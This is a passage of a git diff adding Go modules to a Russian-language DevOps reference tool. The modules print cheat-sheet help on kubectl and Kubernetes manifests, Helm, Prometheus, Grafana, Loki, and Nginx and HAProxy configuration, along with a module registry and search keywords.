utils.Command("kubectl get all", "все ресурсы namespace")
|
||||
utils.Command("kubectl describe pod mypod", "подробная информация")
|
||||
utils.Command("kubectl logs mypod", "логи Pod-а")
|
||||
utils.Command("kubectl logs -f mypod -c mycontainer", "следить, конкретный контейнер")
|
||||
utils.Command("kubectl exec -it mypod -- bash", "shell в Pod-е")
|
||||
utils.Command("kubectl top pods", "использование ресурсов")
|
||||
utils.Command("kubectl top nodes", "ресурсы узлов")
|
||||
fmt.Println()
|
||||
utils.Println(utils.ColorBold + "Применение манифестов:" + utils.ColorReset)
|
||||
utils.Command("kubectl apply -f deployment.yaml", "применить манифест")
|
||||
utils.Command("kubectl apply -f ./manifests/", "применить директорию")
|
||||
utils.Command("kubectl delete -f deployment.yaml", "удалить по манифесту")
|
||||
utils.Command("kubectl delete pod mypod", "удалить Pod")
|
||||
utils.Command("kubectl get pod mypod -o yaml", "экспортировать манифест")
|
||||
utils.Command("kubectl edit deployment myapp", "редактировать в редакторе")
|
||||
|
||||
utils.Section("Основные объекты — манифесты")
|
||||
utils.Code(`# Pod (редко создаётся напрямую):
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: mypod
|
||||
labels:
|
||||
app: myapp
|
||||
spec:
|
||||
containers:
|
||||
- name: myapp
|
||||
image: myapp:1.0
|
||||
ports:
|
||||
- containerPort: 8000
|
||||
resources:
|
||||
requests:
|
||||
memory: "64Mi"
|
||||
cpu: "100m"
|
||||
limits:
|
||||
memory: "128Mi"
|
||||
cpu: "500m"
|
||||
env:
|
||||
- name: DATABASE_URL
|
||||
valueFrom:
|
||||
secretKeyRef:
|
||||
name: myapp-secret
|
||||
key: db-url
|
||||
livenessProbe:
|
||||
httpGet:
|
||||
path: /health
|
||||
port: 8000
|
||||
initialDelaySeconds: 10
|
||||
periodSeconds: 15
|
||||
readinessProbe:
|
||||
httpGet:
|
||||
path: /ready
|
||||
port: 8000`)
|
||||
|
||||
utils.Code(`# Deployment:
|
||||
apiVersion: apps/v1
|
||||
kind: Deployment
|
||||
metadata:
|
||||
name: myapp
|
||||
namespace: production
|
||||
spec:
|
||||
replicas: 3
|
||||
selector:
|
||||
matchLabels:
|
||||
app: myapp
|
||||
strategy:
|
||||
type: RollingUpdate
|
||||
rollingUpdate:
|
||||
maxSurge: 1
|
||||
maxUnavailable: 0
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
app: myapp
|
||||
spec:
|
||||
containers:
|
||||
- name: myapp
|
||||
image: myapp:1.0
|
||||
ports:
|
||||
- containerPort: 8000`)
|
||||
|
||||
utils.Code(`# Service:
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
metadata:
|
||||
name: myapp-svc
|
||||
spec:
|
||||
selector:
|
||||
app: myapp
|
||||
ports:
|
||||
- port: 80
|
||||
targetPort: 8000
|
||||
type: ClusterIP # ClusterIP / NodePort / LoadBalancer
|
||||
|
||||
# ClusterIP — только внутри кластера
|
||||
# NodePort — доступен снаружи на порту 30000-32767
|
||||
# LoadBalancer — облачный балансировщик`)
|
||||
|
||||
utils.Code(`# Ingress:
|
||||
apiVersion: networking.k8s.io/v1
|
||||
kind: Ingress
|
||||
metadata:
|
||||
name: myapp-ingress
|
||||
annotations:
|
||||
nginx.ingress.kubernetes.io/rewrite-target: /
|
||||
spec:
|
||||
ingressClassName: nginx
|
||||
rules:
|
||||
- host: myapp.example.com
|
||||
http:
|
||||
paths:
|
||||
- path: /
|
||||
pathType: Prefix
|
||||
backend:
|
||||
service:
|
||||
name: myapp-svc
|
||||
port:
|
||||
number: 80
|
||||
tls:
|
||||
- hosts:
|
||||
- myapp.example.com
|
||||
secretName: myapp-tls`)
|
||||
|
||||
utils.Code(`# ConfigMap:
|
||||
apiVersion: v1
|
||||
kind: ConfigMap
|
||||
metadata:
|
||||
name: myapp-config
|
||||
data:
|
||||
LOG_LEVEL: "info"
|
||||
APP_PORT: "8000"
|
||||
nginx.conf: |
|
||||
server {
|
||||
listen 80;
|
||||
location / { proxy_pass http://backend; }
|
||||
}
|
||||
|
||||
# Secret (значения в base64):
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
metadata:
|
||||
name: myapp-secret
|
||||
type: Opaque
|
||||
data:
|
||||
db-password: cGFzc3dvcmQ= # echo -n 'password' | base64
|
||||
stringData:
|
||||
db-url: "postgresql://user:pass@db:5432/mydb" # автоматически base64`)
|
||||
|
||||
utils.Section("Масштабирование и обновление")
|
||||
utils.Command("kubectl scale deployment myapp --replicas=5", "масштабировать")
|
||||
utils.Command("kubectl rollout status deployment/myapp", "статус обновления")
|
||||
utils.Command("kubectl rollout history deployment/myapp", "история обновлений")
|
||||
utils.Command("kubectl rollout undo deployment/myapp", "откатить обновление")
|
||||
utils.Command("kubectl rollout undo deployment/myapp --to-revision=2", "к конкретной версии")
|
||||
utils.Command("kubectl set image deployment/myapp myapp=myapp:2.0", "обновить образ")
|
||||
|
||||
utils.Section("Namespaces и RBAC")
|
||||
utils.Code(`kubectl create namespace staging
|
||||
kubectl get namespaces
|
||||
|
||||
# ResourceQuota — ограничения ресурсов namespace:
|
||||
apiVersion: v1
|
||||
kind: ResourceQuota
|
||||
metadata:
|
||||
name: staging-quota
|
||||
namespace: staging
|
||||
spec:
|
||||
hard:
|
||||
requests.cpu: "4"
|
||||
requests.memory: 8Gi
|
||||
limits.cpu: "8"
|
||||
limits.memory: 16Gi
|
||||
pods: "50"
|
||||
|
||||
# RBAC — управление доступом:
|
||||
# Role → namespace, ClusterRole → весь кластер
|
||||
# RoleBinding / ClusterRoleBinding → привязка к субъекту
|
||||
kubectl create role developer --verb=get,list,create --resource=pods -n staging
|
||||
kubectl create rolebinding alice-developer \
|
||||
--role=developer --user=alice -n staging`)
|
||||
|
||||
utils.Section("Helm — пакетный менеджер Kubernetes")
|
||||
utils.Code(`# Установка: https://helm.sh/docs/intro/install/
|
||||
|
||||
helm repo add bitnami https://charts.bitnami.com/bitnami
|
||||
helm repo update
|
||||
helm search repo bitnami/postgresql
|
||||
|
||||
helm install mydb bitnami/postgresql \
|
||||
--set auth.postgresPassword=secret \
|
||||
--set primary.persistence.size=20Gi \
|
||||
--namespace db --create-namespace
|
||||
|
||||
helm list -A # установленные релизы
|
||||
helm status mydb # статус релиза
|
||||
helm upgrade mydb bitnami/postgresql --set auth.postgresPassword=newsecret
|
||||
helm rollback mydb 1 # откатить
|
||||
helm uninstall mydb
|
||||
|
||||
# Создать свой chart:
|
||||
helm create mychart
|
||||
helm template mychart ./mychart/ # рендеринг без установки
|
||||
helm install myapp ./mychart/ -f values.yaml`)
|
||||
|
||||
utils.Footer()
|
||||
}
|
||||
261
modules/devopsmodules/devops_monitoring.go
Normal file
261
modules/devopsmodules/devops_monitoring.go
Normal file
|
|
@ -0,0 +1,261 @@
|
|||
package devopsmodules
|
||||
|
||||
import (
|
||||
"rubric/utils"
|
||||
)
|
||||
|
||||
var MonitoringModule = Module{
|
||||
Key: "monitoring",
|
||||
Aliases: []string{"mon", "prometheus", "grafana", "observability"},
|
||||
Title: "Мониторинг и наблюдаемость",
|
||||
Description: "Prometheus, Grafana, AlertManager, Loki, трассировка, метрики",
|
||||
Run: showMonitoring,
|
||||
}
|
||||
|
||||
func showMonitoring() {
|
||||
utils.Header("DevOps — Мониторинг и наблюдаемость")
|
||||
|
||||
utils.Section("Три столпа наблюдаемости")
|
||||
utils.Code(`Metrics — числовые измерения во времени (CPU, RPS, latency)
|
||||
Logs — события с временными метками и контекстом
|
||||
Traces — путь запроса через микросервисы (span, trace)
|
||||
|
||||
Популярный стек:
|
||||
Prometheus + Grafana — метрики и визуализация
|
||||
Loki — логи (как Prometheus, но для логов)
|
||||
Tempo / Jaeger — распределённая трассировка
|
||||
AlertManager — маршрутизация алертов
|
||||
|
||||
Облачные альтернативы:
|
||||
Datadog, New Relic, Dynatrace — коммерческие
|
||||
AWS CloudWatch, GCP Monitoring, Azure Monitor`)
|
||||
|
||||
utils.Section("Prometheus")
|
||||
utils.Code(`Prometheus — pull-based система мониторинга.
|
||||
Сам опрашивает (scrape) цели по HTTP /metrics.
|
||||
|
||||
Типы метрик:
|
||||
Counter — только растёт (запросы, ошибки)
|
||||
Gauge — любое значение (CPU%, размер очереди)
|
||||
Histogram — распределение значений (latency, размер запроса)
|
||||
Summary — квантили (p50, p95, p99 latency)
|
||||
|
||||
# prometheus.yml — конфигурация:
|
||||
global:
|
||||
scrape_interval: 15s
|
||||
evaluation_interval: 15s
|
||||
|
||||
alerting:
|
||||
alertmanagers:
|
||||
- static_configs:
|
||||
- targets: ['alertmanager:9093']
|
||||
|
||||
rule_files:
|
||||
- "alerts/*.yml"
|
||||
|
||||
scrape_configs:
|
||||
- job_name: 'prometheus'
|
||||
static_configs:
|
||||
- targets: ['localhost:9090']
|
||||
|
||||
- job_name: 'node-exporter'
|
||||
static_configs:
|
||||
- targets: ['node1:9100', 'node2:9100']
|
||||
|
||||
- job_name: 'kubernetes-pods'
|
||||
kubernetes_sd_configs:
|
||||
- role: pod
|
||||
relabel_configs:
|
||||
- source_labels: [__meta_kubernetes_pod_annotation_prometheus_io_scrape]
|
||||
action: keep
|
||||
regex: "true"`)
|
||||
|
||||
utils.Println(utils.ColorBold + "PromQL — язык запросов:" + utils.ColorReset)
|
||||
utils.Code(`# Мгновенный вектор:
|
||||
http_requests_total # все метки
|
||||
http_requests_total{job="api", status="200"} # с фильтром
|
||||
http_requests_total{status=~"5.."} # regex: 5xx
|
||||
|
||||
# Функции:
|
||||
rate(http_requests_total[5m]) # скорость за 5 минут
|
||||
irate(http_requests_total[1m]) # мгновенная скорость
|
||||
increase(http_requests_total[1h]) # прирост за час
|
||||
sum(rate(http_requests_total[5m])) # сумма
|
||||
sum by (status)(rate(http_requests_total[5m])) # группировка
|
||||
|
||||
# Полезные запросы:
|
||||
# Загрузка CPU:
|
||||
100 - (avg by(instance)(rate(node_cpu_seconds_total{mode="idle"}[5m])) * 100)
|
||||
|
||||
# Свободная RAM:
|
||||
node_memory_MemAvailable_bytes / node_memory_MemTotal_bytes * 100
|
||||
|
||||
# Latency p99 (если histogram):
|
||||
histogram_quantile(0.99, sum(rate(http_request_duration_seconds_bucket[5m])) by (le))
|
||||
|
||||
# Error rate:
|
||||
sum(rate(http_requests_total{status=~"5.."}[5m]))
|
||||
/ sum(rate(http_requests_total[5m])) * 100`)
|
||||
|
||||
utils.Println(utils.ColorBold + "Exporters — источники метрик:" + utils.ColorReset)
|
||||
utils.Code(`node_exporter — метрики хоста (CPU, RAM, диск, сеть) :9100
|
||||
blackbox_exporter — проверка доступности (HTTP, TCP, ICMP) :9115
|
||||
mysqld_exporter — MySQL :9104
|
||||
postgres_exporter — PostgreSQL :9187
|
||||
nginx-vts-exporter — Nginx :9913
|
||||
redis_exporter — Redis :9121
|
||||
cadvisor — Docker/cgroup метрики :8080
|
||||
|
||||
# Kubernetes: kube-state-metrics, metrics-server`)
|
||||
|
||||
utils.Section("AlertManager — маршрутизация алертов")
|
||||
utils.Code(`# Правила алертинга (alerts/nodes.yml):
|
||||
groups:
|
||||
- name: nodes
|
||||
rules:
|
||||
- alert: HighCPU
|
||||
expr: 100 - (avg by(instance)(rate(node_cpu_seconds_total{mode="idle"}[5m])) * 100) > 85
|
||||
for: 5m
|
||||
labels:
|
||||
severity: warning
|
||||
annotations:
|
||||
summary: "Высокая загрузка CPU на {{ $labels.instance }}"
|
||||
description: "CPU загружен на {{ $value | printf \"%.1f\" }}%"
|
||||
|
||||
- alert: DiskRunningOut
|
||||
expr: node_filesystem_avail_bytes / node_filesystem_size_bytes * 100 < 10
|
||||
for: 10m
|
||||
labels:
|
||||
severity: critical
|
||||
annotations:
|
||||
summary: "Заканчивается место на {{ $labels.instance }}"
|
||||
|
||||
- alert: ServiceDown
|
||||
expr: up == 0
|
||||
for: 1m
|
||||
labels:
|
||||
severity: critical
|
||||
annotations:
|
||||
summary: "Сервис {{ $labels.job }} недоступен"
|
||||
|
||||
# alertmanager.yml:
|
||||
global:
|
||||
slack_api_url: 'https://hooks.slack.com/services/...'
|
||||
|
||||
route:
|
||||
group_by: ['alertname', 'instance']
|
||||
group_wait: 30s
|
||||
group_interval: 5m
|
||||
repeat_interval: 4h
|
||||
receiver: 'slack-warnings'
|
||||
routes:
|
||||
- match:
|
||||
severity: critical
|
||||
receiver: 'pagerduty'
|
||||
|
||||
receivers:
|
||||
- name: 'slack-warnings'
|
||||
slack_configs:
|
||||
- channel: '#alerts'
|
||||
title: '{{ .GroupLabels.alertname }}'
|
||||
text: '{{ range .Alerts }}{{ .Annotations.summary }}\n{{ end }}'
|
||||
|
||||
- name: 'pagerduty'
|
||||
pagerduty_configs:
|
||||
- routing_key: '<PD_ROUTING_KEY>'`)
|
||||
|
||||
utils.Section("Grafana")
|
||||
utils.Code(`# Запуск (Docker Compose):
|
||||
services:
|
||||
grafana:
|
||||
image: grafana/grafana:latest
|
||||
ports:
|
||||
- "3000:3000"
|
||||
environment:
|
||||
GF_SECURITY_ADMIN_PASSWORD: secret
|
||||
GF_USERS_ALLOW_SIGN_UP: "false"
|
||||
volumes:
|
||||
- grafana-data:/var/lib/grafana
|
||||
- ./grafana/provisioning:/etc/grafana/provisioning
|
||||
|
||||
# Provisioning — автоматическая настройка:
|
||||
# datasources/prometheus.yml:
|
||||
apiVersion: 1
|
||||
datasources:
|
||||
- name: Prometheus
|
||||
type: prometheus
|
||||
url: http://prometheus:9090
|
||||
isDefault: true
|
||||
|
||||
# dashboards.yml — загрузка дашбордов из файлов
|
||||
# Готовые дашборды: grafana.com/grafana/dashboards
|
||||
# ID 1860 — Node Exporter Full
|
||||
# ID 13770 — Kubernetes Pods
|
||||
# ID 9628 — PostgreSQL`)
|
||||
|
||||
utils.Section("Loki — логи как Prometheus")
|
||||
utils.Code(`# Loki собирает логи, Promtail — агент отправки.
|
||||
|
||||
# promtail-config.yml:
|
||||
server:
|
||||
http_listen_port: 9080
|
||||
|
||||
clients:
|
||||
- url: http://loki:3100/loki/api/v1/push
|
||||
|
||||
scrape_configs:
|
||||
- job_name: system
|
||||
static_configs:
|
||||
- targets: [localhost]
|
||||
labels:
|
||||
job: varlogs
|
||||
__path__: /var/log/**/*.log
|
||||
|
||||
- job_name: containers
|
||||
docker_sd_configs:
|
||||
- host: unix:///var/run/docker.sock
|
||||
relabel_configs:
|
||||
- source_labels: [__meta_docker_container_name]
|
||||
target_label: container
|
||||
|
||||
# LogQL — язык запросов Loki (похож на PromQL):
|
||||
{job="nginx"} |= "error" # поиск строки
|
||||
{container="api"} | json | level="error" # парсинг JSON
|
||||
{job="app"} | logfmt | duration > 1s # фильтр по полю
|
||||
|
||||
rate({job="nginx"} |= "error" [5m]) # скорость ошибок`)
|
||||
|
||||
utils.Section("Kubernetes мониторинг")
|
||||
utils.Code(`# kube-prometheus-stack (Helm) — полный стек:
|
||||
helm repo add prometheus-community \
|
||||
https://prometheus-community.github.io/helm-charts
|
||||
helm repo update
|
||||
|
||||
helm install kube-prometheus prometheus-community/kube-prometheus-stack \
|
||||
--namespace monitoring --create-namespace \
|
||||
--set grafana.adminPassword=secret \
|
||||
--set prometheus.prometheusSpec.retention=30d
|
||||
|
||||
# Компоненты стека:
|
||||
# - Prometheus Operator
|
||||
# - Prometheus
|
||||
# - Alertmanager
|
||||
# - Grafana
|
||||
# - node-exporter
|
||||
# - kube-state-metrics
|
||||
|
||||
# ServiceMonitor — автоматический scraping:
|
||||
apiVersion: monitoring.coreos.com/v1
|
||||
kind: ServiceMonitor
|
||||
metadata:
|
||||
name: myapp
|
||||
spec:
|
||||
selector:
|
||||
matchLabels:
|
||||
app: myapp
|
||||
endpoints:
|
||||
- port: metrics
|
||||
interval: 30s`)
|
||||
|
||||
utils.Footer()
|
||||
}
|
||||
323
modules/devopsmodules/devops_nginx.go
Normal file
323
modules/devopsmodules/devops_nginx.go
Normal file
|
|
@ -0,0 +1,323 @@
|
|||
package devopsmodules
|
||||
|
||||
import (
|
||||
"rubric/utils"
|
||||
)
|
||||
|
||||
var NginxModule = Module{
|
||||
Key: "nginx",
|
||||
Aliases: []string{"n", "web", "proxy", "haproxy"},
|
||||
Title: "Nginx и балансировка нагрузки",
|
||||
Description: "Конфигурация, virtual hosts, reverse proxy, SSL/TLS, балансировка, HAProxy",
|
||||
Run: showNginx,
|
||||
}
|
||||
|
||||
func showNginx() {
|
||||
utils.Header("DevOps — Nginx и балансировка нагрузки")
|
||||
|
||||
utils.Section("Основы Nginx")
|
||||
utils.Code(`# Установка:
|
||||
apt install nginx # Debian/Ubuntu
|
||||
dnf install nginx # RHEL/Fedora
|
||||
|
||||
systemctl enable --now nginx
|
||||
nginx -t # проверить конфигурацию
|
||||
nginx -s reload # перезагрузить конфиг
|
||||
nginx -s stop # остановить
|
||||
|
||||
# Структура конфигурации:
|
||||
/etc/nginx/
|
||||
├── nginx.conf # главный файл
|
||||
├── conf.d/ # дополнительные конфиги (*.conf)
|
||||
├── sites-available/ # доступные виртуальные хосты
|
||||
├── sites-enabled/ # включённые (симлинки)
|
||||
├── snippets/ # переиспользуемые блоки
|
||||
└── mime.types # MIME-типы`)
|
||||
|
||||
utils.Section("nginx.conf — основной конфиг")
|
||||
utils.Code(`user nginx;
|
||||
worker_processes auto; # = количество CPU
|
||||
error_log /var/log/nginx/error.log warn;
|
||||
pid /run/nginx.pid;
|
||||
|
||||
events {
|
||||
worker_connections 1024; # соединений на воркер
|
||||
multi_accept on;
|
||||
use epoll; # Linux event model
|
||||
}
|
||||
|
||||
http {
|
||||
include /etc/nginx/mime.types;
|
||||
default_type application/octet-stream;
|
||||
|
||||
# Логи:
|
||||
log_format main '$remote_addr - $remote_user [$time_local] '
|
||||
'"$request" $status $body_bytes_sent '
|
||||
'"$http_referer" "$http_user_agent" '
|
||||
'rt=$request_time uct=$upstream_connect_time';
|
||||
access_log /var/log/nginx/access.log main;
|
||||
|
||||
# Производительность:
|
||||
sendfile on;
|
||||
tcp_nopush on;
|
||||
tcp_nodelay on;
|
||||
keepalive_timeout 65;
|
||||
gzip on;
|
||||
gzip_types text/plain text/css application/json application/javascript;
|
||||
|
||||
# Безопасность:
|
||||
server_tokens off; # скрыть версию nginx
|
||||
client_max_body_size 10M;
|
||||
client_body_timeout 12s;
|
||||
client_header_timeout 12s;
|
||||
|
||||
include /etc/nginx/conf.d/*.conf;
|
||||
}`)
|
||||
|
||||
utils.Section("Virtual Hosts (Server Blocks)")
|
||||
utils.Code(`# /etc/nginx/conf.d/example.com.conf
|
||||
|
||||
# Статический сайт:
|
||||
server {
|
||||
listen 80;
|
||||
server_name example.com www.example.com;
|
||||
root /var/www/example.com;
|
||||
index index.html;
|
||||
|
||||
location / {
|
||||
try_files $uri $uri/ =404;
|
||||
}
|
||||
|
||||
location ~* \.(jpg|jpeg|png|gif|ico|css|js)$ {
|
||||
expires 30d;
|
||||
add_header Cache-Control "public, immutable";
|
||||
}
|
||||
|
||||
# Перенаправление на HTTPS:
|
||||
return 301 https://$host$request_uri;
|
||||
}
|
||||
|
||||
# HTTPS:
|
||||
server {
|
||||
listen 443 ssl http2;
|
||||
server_name example.com www.example.com;
|
||||
root /var/www/example.com;
|
||||
|
||||
ssl_certificate /etc/ssl/certs/example.com.crt;
|
||||
ssl_certificate_key /etc/ssl/private/example.com.key;
|
||||
|
||||
# Современные настройки TLS:
|
||||
ssl_protocols TLSv1.2 TLSv1.3;
|
||||
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:...;
|
||||
ssl_prefer_server_ciphers off;
|
||||
ssl_session_cache shared:SSL:10m;
|
||||
ssl_session_timeout 10m;
|
||||
ssl_stapling on;
|
||||
ssl_stapling_verify on;
|
||||
|
||||
# HSTS:
|
||||
add_header Strict-Transport-Security "max-age=63072000" always;
|
||||
add_header X-Frame-Options DENY;
|
||||
add_header X-Content-Type-Options nosniff;
|
||||
|
||||
location / {
|
||||
try_files $uri $uri/ =404;
|
||||
}
|
||||
}`)
|
||||
|
||||
utils.Section("Reverse Proxy")
|
||||
utils.Code(`# Проксирование к бэкенду:
|
||||
server {
|
||||
listen 443 ssl http2;
|
||||
server_name api.example.com;
|
||||
|
||||
ssl_certificate /etc/letsencrypt/live/api.example.com/fullchain.pem;
|
||||
ssl_certificate_key /etc/letsencrypt/live/api.example.com/privkey.pem;
|
||||
|
||||
location / {
|
||||
proxy_pass http://localhost:8000;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Upgrade $http_upgrade;
|
||||
proxy_set_header Connection 'upgrade'; # WebSocket
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
proxy_cache_bypass $http_upgrade;
|
||||
|
||||
proxy_connect_timeout 30s;
|
||||
proxy_send_timeout 30s;
|
||||
proxy_read_timeout 30s;
|
||||
}
|
||||
|
||||
# Кэширование статики:
|
||||
location /static/ {
|
||||
proxy_pass http://localhost:8000/static/;
|
||||
proxy_cache_valid 200 1d;
|
||||
expires 1d;
|
||||
}
|
||||
}`)
|
||||
|
||||
utils.Section("Балансировка нагрузки")
|
||||
utils.Code(`# upstream — группа серверов:
|
||||
upstream myapp {
|
||||
least_conn; # least connections (или round_robin, ip_hash)
|
||||
|
||||
server backend1:8000 weight=3; # 3x больше запросов
|
||||
server backend2:8000 weight=1;
|
||||
server backend3:8000;
|
||||
server backend4:8000 backup; # только при недоступности остальных
|
||||
|
||||
keepalive 32; # keepalive соединения
|
||||
}
|
||||
|
||||
upstream myapp {
|
||||
ip_hash; # один клиент → один бэкенд (sticky sessions)
|
||||
server backend1:8000;
|
||||
server backend2:8000;
|
||||
}
|
||||
|
||||
server {
|
||||
listen 80;
|
||||
location / {
|
||||
proxy_pass http://myapp;
|
||||
health_check; # nginx plus или модуль
|
||||
}
|
||||
}
|
||||
|
||||
# Алгоритмы балансировки:
|
||||
# round_robin — по очереди (по умолчанию)
|
||||
# least_conn — к серверу с наименьшим числом соединений
|
||||
# ip_hash — по IP клиента (sticky sessions)
|
||||
# hash $var — по произвольной переменной
|
||||
# random — случайно`)
|
||||
|
||||
utils.Section("Настройки производительности и безопасности")
|
||||
utils.Code(`# Rate limiting — ограничение запросов:
|
||||
http {
|
||||
limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;
|
||||
limit_conn_zone $binary_remote_addr zone=conn:10m;
|
||||
}
|
||||
|
||||
server {
|
||||
location /api/ {
|
||||
limit_req zone=api burst=20 nodelay;
|
||||
limit_conn conn 10;
|
||||
proxy_pass http://backend;
|
||||
}
|
||||
|
||||
# Защита от DDoS:
|
||||
location /login {
|
||||
limit_req zone=api rate=1r/s burst=5;
|
||||
proxy_pass http://backend;
|
||||
}
|
||||
}
|
||||
|
||||
# Аутентификация Basic Auth:
|
||||
location /admin {
|
||||
auth_basic "Admin Area";
|
||||
auth_basic_user_file /etc/nginx/.htpasswd;
|
||||
proxy_pass http://backend;
|
||||
}
|
||||
# htpasswd -c /etc/nginx/.htpasswd admin
|
||||
|
||||
# Блокировка по IP:
|
||||
location /api {
|
||||
deny 192.168.1.100;
|
||||
allow 192.168.1.0/24;
|
||||
deny all;
|
||||
proxy_pass http://backend;
|
||||
}
|
||||
|
||||
# Кэширование прокси:
|
||||
proxy_cache_path /var/cache/nginx levels=1:2 keys_zone=my_cache:10m
|
||||
max_size=1g inactive=60m;
|
||||
server {
|
||||
location / {
|
||||
proxy_cache my_cache;
|
||||
proxy_cache_valid 200 10m;
|
||||
proxy_cache_use_stale error timeout updating;
|
||||
add_header X-Cache-Status $upstream_cache_status;
|
||||
proxy_pass http://backend;
|
||||
}
|
||||
}`)
|
||||
|
||||
utils.Section("Let's Encrypt — бесплатные сертификаты")
|
||||
utils.Code(`# Установка certbot:
|
||||
apt install certbot python3-certbot-nginx
|
||||
|
||||
# Получить и настроить сертификат:
|
||||
certbot --nginx -d example.com -d www.example.com
|
||||
|
||||
# Только получить сертификат (без правки nginx.conf):
|
||||
certbot certonly --nginx -d example.com
|
||||
|
||||
# Обновление (автоматически через systemd timer или cron):
|
||||
certbot renew --dry-run # тест
|
||||
certbot renew # обновить просроченные
|
||||
|
||||
# Принудительное обновление:
|
||||
certbot renew --force-renewal
|
||||
|
||||
# Wildcard сертификат (через DNS challenge):
|
||||
certbot certonly --manual \
|
||||
-d "*.example.com" \
|
||||
--preferred-challenges dns`)
|
||||
|
||||
utils.Section("HAProxy — продвинутая балансировка")
|
||||
utils.Code(`# HAProxy — специализированный балансировщик нагрузки.
|
||||
# Лучше nginx для TCP/L4 балансировки.
|
||||
# Богатые возможности health check и ACL.
|
||||
|
||||
# /etc/haproxy/haproxy.cfg:
|
||||
global
|
||||
maxconn 50000
|
||||
log /dev/log local0
|
||||
stats socket /run/haproxy/admin.sock mode 660 level admin
|
||||
|
||||
defaults
|
||||
log global
|
||||
mode http
|
||||
option httplog
|
||||
option dontlognull
|
||||
timeout connect 5s
|
||||
timeout client 30s
|
||||
timeout server 30s
|
||||
option forwardfor
|
||||
option http-server-close
|
||||
|
||||
frontend http_front
|
||||
bind *:80
|
||||
redirect scheme https unless { ssl_fc }
|
||||
|
||||
frontend https_front
|
||||
bind *:443 ssl crt /etc/ssl/certs/example.pem
|
||||
default_backend app_back
|
||||
|
||||
# ACL-маршрутизация:
|
||||
acl is_api path_beg /api/
|
||||
use_backend api_back if is_api
|
||||
|
||||
backend app_back
|
||||
balance roundrobin
|
||||
option httpchk GET /health
|
||||
server web1 192.168.1.10:8000 check weight 2
|
||||
server web2 192.168.1.11:8000 check weight 1
|
||||
server web3 192.168.1.12:8000 check backup
|
||||
|
||||
backend api_back
|
||||
balance leastconn
|
||||
timeout server 60s
|
||||
server api1 192.168.1.20:8080 check
|
||||
server api2 192.168.1.21:8080 check
|
||||
|
||||
# Статистика:
|
||||
frontend stats
|
||||
bind *:8404
|
||||
stats enable
|
||||
stats uri /stats
|
||||
stats refresh 10s
|
||||
stats auth admin:secret`)
|
||||
|
||||
utils.Footer()
|
||||
}
|
||||
114
modules/devopsmodules/devops_registry.go
Normal file
114
modules/devopsmodules/devops_registry.go
Normal file
|
|
@ -0,0 +1,114 @@
|
|||
package devopsmodules
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"rubric/utils"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type Module struct {
|
||||
Key string
|
||||
Aliases []string
|
||||
Title string
|
||||
Description string
|
||||
Run func()
|
||||
}
|
||||
|
||||
var All = []Module{
|
||||
GitModule,
|
||||
DockerModule,
|
||||
KubernetesModule,
|
||||
CicdModule,
|
||||
AnsibleModule,
|
||||
TerraformModule,
|
||||
MonitoringModule,
|
||||
NginxModule,
|
||||
}
|
||||
|
||||
func Find(key string) (Module, bool) {
|
||||
key = strings.ToLower(strings.TrimSpace(key))
|
||||
for _, m := range All {
|
||||
if m.Key == key {
|
||||
return m, true
|
||||
}
|
||||
for _, a := range m.Aliases {
|
||||
if a == key {
|
||||
return m, true
|
||||
}
|
||||
}
|
||||
}
|
||||
return Module{}, false
|
||||
}
|
||||
|
||||
func ListModules() {
|
||||
fmt.Printf("\n%s%sРазделы справочника DevOps:%s\n\n",
|
||||
utils.ColorBold, utils.ColorCyan, utils.ColorReset)
|
||||
for i, m := range All {
|
||||
fmt.Printf(" %s%d.%s %-14s — %s\n",
|
||||
utils.ColorDim, i+1, utils.ColorReset,
|
||||
utils.ColorYellow+utils.ColorBold+m.Key+utils.ColorReset,
|
||||
m.Title,
|
||||
)
|
||||
}
|
||||
fmt.Println()
|
||||
}
|
||||
|
||||
// Keywords возвращает ключевые слова для поиска по модулю
|
||||
func Keywords(key string) []string {
|
||||
kw := map[string][]string{
|
||||
"git": {
|
||||
"git", "ветки", "branch", "merge", "rebase", "commit", "push", "pull",
|
||||
"clone", "stash", "tag", "cherry-pick", "bisect", "gitflow", "GitHub",
|
||||
"GitLab", "pull request", "PR", "конфликты", "conflicts", "remote",
|
||||
"origin", "HEAD", "diff", "log", "blame", "workflow",
|
||||
},
|
||||
"docker": {
|
||||
"docker", "контейнеры", "containers", "образы", "images", "Dockerfile",
|
||||
"docker compose", "volumes", "тома", "networks", "сети", "registry",
|
||||
"Hub", "GHCR", "ECR", "podman", "buildx", "multi-stage", "RUN", "CMD",
|
||||
"ENTRYPOINT", "COPY", "FROM", "healthcheck",
|
||||
},
|
||||
"kubernetes": {
|
||||
"kubernetes", "k8s", "kubectl", "Pod", "Deployment", "Service",
|
||||
"Ingress", "ConfigMap", "Secret", "Namespace", "PVC", "PV",
|
||||
"StatefulSet", "DaemonSet", "Job", "CronJob", "Helm", "chart",
|
||||
"RBAC", "Role", "ClusterRole", "HPA", "autoscaling", "kube",
|
||||
"node", "cluster", "контейнер", "оркестрация",
|
||||
},
|
||||
"cicd": {
|
||||
"CI", "CD", "пайплайн", "pipeline", "GitHub Actions", "GitLab CI",
|
||||
"Jenkins", "ArgoCD", "GitOps", "workflow", "job", "runner",
|
||||
"артефакт", "artifact", "deploy", "деплой", "тесты", "автоматизация",
|
||||
"continuous integration", "continuous delivery", "YAML",
|
||||
},
|
||||
"ansible": {
|
||||
"ansible", "playbook", "inventory", "инвентарь", "роли", "roles",
|
||||
"модули", "modules", "задачи", "tasks", "handlers", "шаблоны",
|
||||
"templates", "Jinja2", "vault", "секреты", "agentless", "SSH",
|
||||
"конфигурация", "автоматизация", "idempotent",
|
||||
},
|
||||
"terraform": {
|
||||
"terraform", "IaC", "инфраструктура как код", "HCL", "провайдер",
|
||||
"provider", "ресурс", "resource", "state", "план", "plan", "apply",
|
||||
